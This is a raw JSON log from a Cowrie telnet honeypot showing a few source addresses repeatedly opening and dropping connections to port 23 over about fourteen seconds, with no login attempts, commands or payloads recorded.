{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45426,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1dfc08f201f","protocol":"telnet","message":"New connection: 85.190.254.94:45426 (10.17.0.5:23) [session: b1dfc08f201f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:44.934558Z"}
{"eventid":"cowrie.session.closed","duration":30.836243391036987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.057604Z","src_ip":"85.190.254.94","session":"85895c38344b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6868896484375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.070251Z","src_ip":"85.190.254.94","session":"8e1e76a0a155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.474242687225342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.076087Z","src_ip":"85.190.254.94","session":"cef1a2a5f329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02483558654785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.090943Z","src_ip":"85.190.254.94","session":"6ef77a5ae5b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":45616,"dst_ip":"159.203.135.109","dst_port":23,"session":"64b7e705a2af","protocol":"telnet","message":"New connection: 138.197.5.236:45616 (159.203.135.109:23) [session: 64b7e705a2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.187865Z"}
{"eventid":"cowrie.session.closed","duration":30.517575979232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.276343Z","src_ip":"167.71.198.239","session":"fc1abcc37663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19694685935974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.289011Z","src_ip":"85.190.254.94","session":"8cb382e2f171","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":53424,"dst_ip":"159.203.135.109","dst_port":23,"session":"79be320e9f7f","protocol":"telnet","message":"New connection: 136.244.67.81:53424 (159.203.135.109:23) [session: 79be320e9f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.353446Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":56140,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf7b95e2d9bd","protocol":"telnet","message":"New connection: 167.71.198.239:56140 (159.203.135.109:23) [session: cf7b95e2d9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:45.961237Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50520,"dst_ip":"10.17.0.5","dst_port":23,"session":"b806c03239b0","protocol":"telnet","message":"New connection: 85.190.254.94:50520 (10.17.0.5:23) [session: b806c03239b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:46.357275Z"}
{"eventid":"cowrie.session.closed","duration":30.573429346084595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:46.371870Z","src_ip":"167.71.198.239","session":"bfabd70fd1c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":57304,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0522a87b1d","protocol":"telnet","message":"New connection: 167.71.198.239:57304 (159.203.135.109:23) [session: fb0522a87b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:46.758169Z"}
{"eventid":"cowrie.session.closed","duration":30.34248447418213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:47.059529Z","src_ip":"85.190.254.94","session":"907c46699a4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":53030,"dst_ip":"10.17.0.5","dst_port":23,"session":"1503aee2703e","protocol":"telnet","message":"New connection: 85.190.254.94:53030 (10.17.0.5:23) [session: 1503aee2703e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:47.112202Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":47972,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a38df63853","protocol":"telnet","message":"New connection: 138.197.5.236:47972 (159.203.135.109:23) [session: b4a38df63853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:47.175729Z"}
{"eventid":"cowrie.session.closed","duration":31.609578609466553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:47.349683Z","src_ip":"167.71.198.239","session":"1677d4b87d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6245174407959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:47.359764Z","src_ip":"167.71.198.239","session":"9c7978961fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632038831710815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:47.363436Z","src_ip":"167.71.198.239","session":"28bdc0c8afdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25029444694519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:47.388458Z","src_ip":"85.190.254.94","session":"5299c55ed7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.117602825164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:48.047961Z","src_ip":"85.190.254.94","session":"271317554a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708034992218018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:48.111666Z","src_ip":"85.190.254.94","session":"d40fd32ab20f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":49376,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f854f20010","protocol":"telnet","message":"New connection: 138.197.5.236:49376 (159.203.135.109:23) [session: 40f854f20010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:48.278235Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57982,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92bccd87290","protocol":"telnet","message":"New connection: 85.190.254.94:57982 (10.17.0.5:23) [session: e92bccd87290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:48.492048Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":58030,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd564ea3535","protocol":"telnet","message":"New connection: 85.190.254.94:58030 (10.17.0.5:23) [session: acd564ea3535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:48.506288Z"}
{"eventid":"cowrie.session.closed","duration":30.657129764556885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:49.073367Z","src_ip":"85.190.254.94","session":"c5a53d106ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e6a19b515a","protocol":"telnet","message":"New connection: 85.190.254.94:60214 (10.17.0.5:23) [session: d1e6a19b515a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:49.234800Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":50932,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee8df20d4e9","protocol":"telnet","message":"New connection: 138.197.5.236:50932 (159.203.135.109:23) [session: 8ee8df20d4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:49.366652Z"}
{"eventid":"cowrie.session.closed","duration":31.182490348815918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:49.426121Z","src_ip":"85.190.254.94","session":"6b22166b61d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.560308694839478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:49.706264Z","src_ip":"85.190.254.94","session":"c35938562314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26806879043579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:49.711379Z","src_ip":"85.190.254.94","session":"edd8f4373771","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946482181549072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:49.724407Z","src_ip":"85.190.254.94","session":"6c56d0f54ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937552213668823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.046898Z","src_ip":"85.190.254.94","session":"c384356b24b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":51962,"dst_ip":"159.203.135.109","dst_port":23,"session":"e52457c6890c","protocol":"telnet","message":"New connection: 138.197.5.236:51962 (159.203.135.109:23) [session: e52457c6890c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.055767Z"}
{"eventid":"cowrie.session.closed","duration":30.89044976234436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.106799Z","src_ip":"85.190.254.94","session":"e00e71f01ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc804857740","protocol":"telnet","message":"New connection: 107.152.33.170:45904 (159.203.135.109:23) [session: bdc804857740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.198975Z"}
{"eventid":"cowrie.session.closed","duration":30.391687870025635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.225565Z","src_ip":"167.71.198.239","session":"65701a2f8a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":45920,"dst_ip":"159.203.135.109","dst_port":23,"session":"d20f3a6d6d43","protocol":"telnet","message":"New connection: 107.152.33.170:45920 (159.203.135.109:23) [session: d20f3a6d6d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.274460Z"}
{"eventid":"cowrie.session.closed","duration":31.086236476898193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.569218Z","src_ip":"136.244.67.81","session":"021bf1029ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37288,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf83dab06c9","protocol":"telnet","message":"New connection: 85.190.254.94:37288 (10.17.0.5:23) [session: adf83dab06c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:50.705866Z"}
{"eventid":"cowrie.session.closed","duration":30.236056089401245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:51.088930Z","src_ip":"85.190.254.94","session":"e7cab6cc974d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75242257118225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:51.152519Z","src_ip":"85.190.254.94","session":"029a065e44e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64687752723694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:51.164630Z","src_ip":"85.190.254.94","session":"20e4bbe07538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391672372817993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:51.193795Z","src_ip":"85.190.254.94","session":"cb4efc721486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d4f898777e","protocol":"telnet","message":"New connection: 85.190.254.94:38956 (10.17.0.5:23) [session: 96d4f898777e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:51.238686Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":36758,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb9074afcdf6","protocol":"telnet","message":"New connection: 167.71.198.239:36758 (159.203.135.109:23) [session: cb9074afcdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:51.855061Z"}
{"eventid":"cowrie.session.closed","duration":30.683313131332397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:52.156631Z","src_ip":"85.190.254.94","session":"9a94248c1663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40167737007141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:52.196505Z","src_ip":"167.71.198.239","session":"d40f4a432904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62415647506714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:53.004289Z","src_ip":"85.190.254.94","session":"0968a0900da5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11412262916565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:53.079945Z","src_ip":"85.190.254.94","session":"cc943c6e4716","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66093635559082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:53.137274Z","src_ip":"85.190.254.94","session":"317a41a980e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45578,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40a1f28d93c","protocol":"telnet","message":"New connection: 85.190.254.94:45578 (10.17.0.5:23) [session: e40a1f28d93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:53.354786Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45670,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e2217c17723","protocol":"telnet","message":"New connection: 85.190.254.94:45670 (10.17.0.5:23) [session: 5e2217c17723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:53.389177Z"}
{"eventid":"cowrie.session.closed","duration":30.375853061676025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:54.065584Z","src_ip":"85.190.254.94","session":"dbbc4bd46504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872071981430054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:54.085496Z","src_ip":"85.190.254.94","session":"7d66fd913a88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316332817077637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:54.607993Z","src_ip":"85.190.254.94","session":"0beb531f4c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49830,"dst_ip":"10.17.0.5","dst_port":23,"session":"c693cb34931b","protocol":"telnet","message":"New connection: 85.190.254.94:49830 (10.17.0.5:23) [session: c693cb34931b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:54.655242Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49972,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2556bde6f49","protocol":"telnet","message":"New connection: 85.190.254.94:49972 (10.17.0.5:23) [session: f2556bde6f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:54.697426Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50650,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb1a70471f34","protocol":"telnet","message":"New connection: 85.190.254.94:50650 (10.17.0.5:23) [session: fb1a70471f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:54.908374Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":57852,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc63fa217b1","protocol":"telnet","message":"New connection: 138.197.5.236:57852 (159.203.135.109:23) [session: 1fc63fa217b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:55.086721Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":57864,"dst_ip":"159.203.135.109","dst_port":23,"session":"63101392ab62","protocol":"telnet","message":"New connection: 138.197.5.236:57864 (159.203.135.109:23) [session: 63101392ab62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:55.113650Z"}
{"eventid":"cowrie.session.closed","duration":30.652868270874023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:55.119047Z","src_ip":"136.244.67.81","session":"fcf57583de04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":40736,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0603a583fdc","protocol":"telnet","message":"New connection: 167.71.198.239:40736 (159.203.135.109:23) [session: a0603a583fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:55.178740Z"}
{"eventid":"cowrie.session.closed","duration":30.553011178970337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:55.200729Z","src_ip":"167.71.198.239","session":"bdd779cf4698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":53022,"dst_ip":"10.17.0.5","dst_port":23,"session":"04389654c464","protocol":"telnet","message":"New connection: 85.190.254.94:53022 (10.17.0.5:23) [session: 04389654c464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:55.630686Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":53318,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef519099c44","protocol":"telnet","message":"New connection: 85.190.254.94:53318 (10.17.0.5:23) [session: eef519099c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:55.712855Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":58882,"dst_ip":"159.203.135.109","dst_port":23,"session":"69078e20868e","protocol":"telnet","message":"New connection: 138.197.5.236:58882 (159.203.135.109:23) [session: 69078e20868e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.048700Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":58884,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88f07d7ddbb","protocol":"telnet","message":"New connection: 138.197.5.236:58884 (159.203.135.109:23) [session: c88f07d7ddbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.052985Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":58890,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7a8b0f382ff","protocol":"telnet","message":"New connection: 138.197.5.236:58890 (159.203.135.109:23) [session: d7a8b0f382ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.056261Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":58898,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e3edb6d2318","protocol":"telnet","message":"New connection: 138.197.5.236:58898 (159.203.135.109:23) [session: 2e3edb6d2318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.135729Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":58908,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cbacdf42097","protocol":"telnet","message":"New connection: 138.197.5.236:58908 (159.203.135.109:23) [session: 7cbacdf42097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.143689Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":41990,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4c06117f6ab","protocol":"telnet","message":"New connection: 167.71.198.239:41990 (159.203.135.109:23) [session: a4c06117f6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.251438Z"}
{"eventid":"cowrie.session.closed","duration":31.152414321899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.257764Z","src_ip":"167.71.198.239","session":"3aae9d81f957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522756814956665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.315232Z","src_ip":"167.71.198.239","session":"1741771554fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705345630645752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.373286Z","src_ip":"167.71.198.239","session":"be6f2f9fe81d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":42314,"dst_ip":"159.203.135.109","dst_port":23,"session":"52cd687a8d07","protocol":"telnet","message":"New connection: 167.71.198.239:42314 (159.203.135.109:23) [session: 52cd687a8d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:56.553919Z"}
{"eventid":"cowrie.session.closed","duration":30.479109287261963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:57.060007Z","src_ip":"85.190.254.94","session":"6f30a3001328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":59974,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dc1d0beb249","protocol":"telnet","message":"New connection: 138.197.5.236:59974 (159.203.135.109:23) [session: 8dc1d0beb249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:57.114572Z"}
{"eventid":"cowrie.session.closed","duration":30.76145625114441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:57.219796Z","src_ip":"167.71.198.239","session":"553d0bc29f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":60572,"dst_ip":"159.203.135.109","dst_port":23,"session":"23b9e0afdb07","protocol":"telnet","message":"New connection: 138.197.5.236:60572 (159.203.135.109:23) [session: 23b9e0afdb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:57.594850Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":32808,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e62e8f6ce6","protocol":"telnet","message":"New connection: 138.197.5.236:32808 (159.203.135.109:23) [session: e0e62e8f6ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:58.131217Z"}
{"eventid":"cowrie.session.closed","duration":31.209083318710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:58.164043Z","src_ip":"85.190.254.94","session":"374842af59a7","protocol":"telnet"}
